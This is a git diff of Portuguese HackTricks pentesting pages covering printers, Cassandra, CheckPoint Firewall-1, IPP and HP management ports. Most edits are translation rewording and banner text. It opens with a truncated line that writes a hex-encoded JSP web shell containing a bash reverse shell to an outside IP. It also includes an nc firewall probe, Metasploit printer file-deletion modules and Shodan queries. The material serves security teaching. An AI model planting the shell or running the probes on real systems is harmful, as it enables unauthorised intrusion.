call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Informações Básicas
De [aqui](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): A impressão bruta é o que definimos como o processo de fazer uma conexão à porta 9100/tcp de uma impressora de rede. É o método padrão usado pelo CUPS e pela arquitetura de impressão do Windows para se comunicar com impressoras de rede, pois é considerado como '_o protocolo de rede mais simples, rápido e geralmente mais confiável usado para impressoras_'. A impressão bruta na porta 9100, também referida como JetDirect, AppSocket ou fluxo de dados PDL, na verdade **não é um protocolo de impressão por si só**. Em vez disso, **todos os dados enviados são processados diretamente pelo dispositivo de impressão**, assim como uma conexão paralela sobre TCP. Em contraste com LPD, IPP e SMB, isso pode enviar feedback direto ao cliente, incluindo mensagens de status e erro. Um **canal bidirecional** como esse nos dá acesso direto aos **resultados** dos comandos **PJL**, **PostScript** ou **PCL**. Portanto, a impressão bruta na porta 9100 - que é suportada por quase todas as impressoras de rede - é usada como o canal para análise de segurança com PRET e PFT.
De [aqui](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing): Impressão bruta é o que definimos como o processo de fazer uma conexão com a porta 9100/tcp de uma impressora de rede. É o método padrão usado pelo CUPS e pela arquitetura de impressão do Windows para se comunicar com impressoras de rede, pois é considerado como _o protocolo de rede mais simples, rápido e geralmente mais confiável usado para impressoras_. A impressão bruta na porta 9100, também referida como JetDirect, AppSocket ou PDL-datastream, na verdade **não é um protocolo de impressão por si só**. Em vez disso, **todos os dados enviados são processados diretamente pelo dispositivo de impressão**, assim como uma conexão paralela via TCP. Em contraste com LPD, IPP e SMB, isso pode enviar feedback direto ao cliente, incluindo status e mensagens de erro. Tal **canal bidirecional** nos dá **acesso** direto aos **resultados** dos comandos **PJL**, **PostScript** ou **PCL**. Portanto, a impressão bruta na porta 9100 que é suportada por quase qualquer impressora de rede é usada como o canal para análise de segurança com PRET e PFT.
Se você quiser aprender mais sobre [**hacking de impressoras, leia esta página**](http://hacking-printers.net/wiki/index.php/Main_Page).
Se você quiser saber mais sobre [**hackeando impressoras, leia esta página**](http://hacking-printers.net/wiki/index.php/Main_Page).
**Porta padrão:** 9100
```
@ -57,12 +58,28 @@ msf> use auxiliary/scanner/printer/printer_download_file
msf> use auxiliary/scanner/printer/printer_upload_file
msf> use auxiliary/scanner/printer/printer_delete_file
```
## Ferramenta de Hacking para Impressoras
## Ferramenta de Hacking de Impressoras
Esta é a ferramenta que você deseja usar para abusar de impressoras:
Esta é a ferramenta que você quer usar para abusar de impressoras:
{% embed url="https://github.com/RUB-NDS/PRET" %}
# **Shodan**
* `pjl port:9100`
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# 9042/9160 - Pentesting Cassandra
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Informações Básicas
**Apache Cassandra** é um banco de dados distribuído **altamente escalável** e **de alto desempenho** projetado para lidar com **grandes quantidades de dados** em muitos **servidores de commodities**, fornecendo **alta disponibilidade** sem **ponto único de falha**. É um tipo de **banco de dados NoSQL**.
**Apache Cassandra** é um **banco de dados distribuído** **altamente escalável** e **de alto desempenho** projetado para lidar com **grandes quantidades de dados** em muitos **servidores comuns**, proporcionando **alta disponibilidade** sem **ponto único de falha**. É um tipo de **banco de dados NoSQL**.
Em vários casos, você pode descobrir que o Cassandra aceita **quaisquer credenciais** (pois não há nenhuma configurada) e isso poderia potencialmente permitir que um atacante **enumere** o banco de dados.
Em vários casos, você pode descobrir que o Cassandra aceita **qualquer credencial** (já que não há nenhuma configurada) e isso pode potencialmente permitir que um atacante **enumere** o banco de dados.
**Porta padrão:** 9042,9160
```
@ -49,23 +50,24 @@ Não há muitas opções aqui e o nmap não obtém muitas informações.
```bash
nmap -sV --script cassandra-info -p <PORT> <IP>
```
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#cassandra)
### [**Força bruta**](../generic-methodologies-and-resources/brute-force.md#cassandra)
### **Shodan**
`port:9160 Cluster`\
`port:9042 "Invalid or unsupported protocol version"`
`port:9042 "Versão de protocolo inválida ou não suportada"`
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporte o HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporte o HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
É possível interagir com os firewalls **CheckPoint** **Firewall-1** para descobrir informações valiosas, como o nome do firewall e o nome da estação de gerenciamento. Isso pode ser feito enviando uma consulta para a porta **264/TCP**.
É possível interagir com firewalls **CheckPoint** **Firewall-1** para descobrir informações valiosas, como o nome do firewall e o nome da estação de gerenciamento. Isso pode ser feito enviando uma consulta para a porta **264/TCP**.
### Obtendo Nomes do Firewall e da Estação de Gerenciamento
### Obtendo Nomes de Firewall e Estação de Gerenciamento
Usando uma solicitação de pré-autenticação, você pode executar um módulo que visa o **CheckPoint Firewall-1**. Os comandos necessários para esta operação estão descritos abaixo:
```bash
use auxiliary/gather/checkpoint_hostname
set RHOST 10.10.10.10
```
Após a execução, o módulo tenta entrar em contato com o serviço de Topologia SecuRemote do firewall. Se bem-sucedido, ele confirma a presença de um Firewall da CheckPoint e recupera os nomes tanto do firewall quanto do host de gerenciamento SmartCenter. Aqui está um exemplo de como a saída pode se parecer:
Ao ser executado, o módulo tenta contatar o serviço de Topologia SecuRemote do firewall. Se bem-sucedido, confirma a presença de um CheckPoint Firewall e recupera os nomes do firewall e do host de gerenciamento SmartCenter. Aqui está um exemplo de como a saída pode parecer:
```text
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
[+] Appears to be a CheckPoint Firewall...
@ -32,31 +33,32 @@ Após a execução, o módulo tenta entrar em contato com o serviço de Topologi
```
### Método Alternativo para Descoberta de Nome de Host e Nome ICA
Outra técnica envolve um comando direto que envia uma consulta específica ao firewall e analisa a resposta para extrair o nome do host e o nome do ICA do firewall. O comando e sua estrutura são os seguintes:
Outra técnica envolve um comando direto que envia uma consulta específica para o firewall e analisa a resposta para extrair o nome de host do firewall e o nome ICA. O comando e sua estrutura são os seguintes:
```bash
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
```
A saída deste comando fornece informações detalhadas sobre o nome do certificado (CN) e a organização (O) do firewall, conforme demonstrado abaixo:
A saída deste comando fornece informações detalhadas sobre o nome do certificado do firewall (CN) e a organização (O), conforme demonstrado abaixo:
```text
CN=Panama,O=MGMTT.srv.rxfrmi
```
## Referências
* [https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360](https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360)
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html#check-point-firewall-1-topology-port-264](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html#check-point-firewall-1-topology-port-264)
* [https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit\_doGoviewsolutiondetails=&solutionid=sk69360](https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360)
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html\#check-point-firewall-1-topology-port-264](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html#check-point-firewall-1-topology-port-264)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Protocolo de Impressão na Internet \(IPP\)
# Protocolo de Impressão da Internet \(IPP\)
O **Protocolo de Impressão na Internet (IPP)**, conforme especificado em **RFC2910** e **RFC2911**, serve como base para impressão pela internet. Sua capacidade de ser estendido é demonstrada por desenvolvimentos como **IPP Everywhere**, que visa padronizar a impressão móvel e em nuvem, e a introdução de extensões para **impressão 3D**.
O **Protocolo de Impressão da Internet (IPP)**, conforme especificado na **RFC2910** e **RFC2911**, serve como base para impressão pela internet. Sua capacidade de ser estendido é demonstrada por desenvolvimentos como **IPP Everywhere**, que visa padronizar impressão móvel e em nuvem, e a introdução de extensões para **impressão 3D**.
Aproveitando o protocolo **HTTP**, o IPP se beneficia de práticas de segurança estabelecidas, incluindo **autenticação básica/digest** e **criptografia SSL/TLS**. Ações como enviar um trabalho de impressão ou consultar o status da impressora são realizadas por meio de **solicitações POST HTTP** direcionadas ao servidor IPP, que opera na porta **631/tcp**.
Aproveitando o protocolo **HTTP**, o IPP se beneficia de práticas de segurança estabelecidas, incluindo **autenticação básica/digest** e **criptografia SSL/TLS**. Ações como enviar um trabalho de impressão ou consultar o status da impressora são realizadas através de **requisições HTTP POST** direcionadas ao servidor IPP, que opera na **porta 631/tcp**.
Uma implementação conhecida do IPP é o **CUPS**, um sistema de impressão de código aberto prevalente em várias distribuições Linux e OS X. Apesar de sua utilidade, o IPP, semelhante ao LPD, pode ser explorado para transmitir conteúdo malicioso por meio de arquivos **PostScript** ou **PJL**, destacando um risco de segurança potencial.
Uma implementação bem conhecida do IPP é o **CUPS**, um sistema de impressão de código aberto prevalente em várias distribuições Linux e OS X. Apesar de sua utilidade, o IPP, assim como o LPD, pode ser explorado para transmitir conteúdo malicioso através de **arquivos PostScript** ou **PJL**, destacando um potencial risco de segurança.
```python
# Example of sending an IPP request using Python
import requests
@ -31,20 +32,19 @@ data = b"..." # IPP request data goes here
response = requests.post(url, headers=headers, data=data, verify=True)
print(response.status_code)
```
Se você quer aprender mais sobre [**hackear impressoras leia esta página**](http://hacking-printers.net/wiki/index.php/Main_Page).
Se você quiser aprender mais sobre [**hackeando impressoras, leia esta página**](http://hacking-printers.net/wiki/index.php/Main_Page).
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda a hackear a AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
**Porta Padrão:** 2301,2381
# **Senhas Padrão**
# **Senhas padrão**
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
# Arquivos de Configuração
# Arquivos de configuração
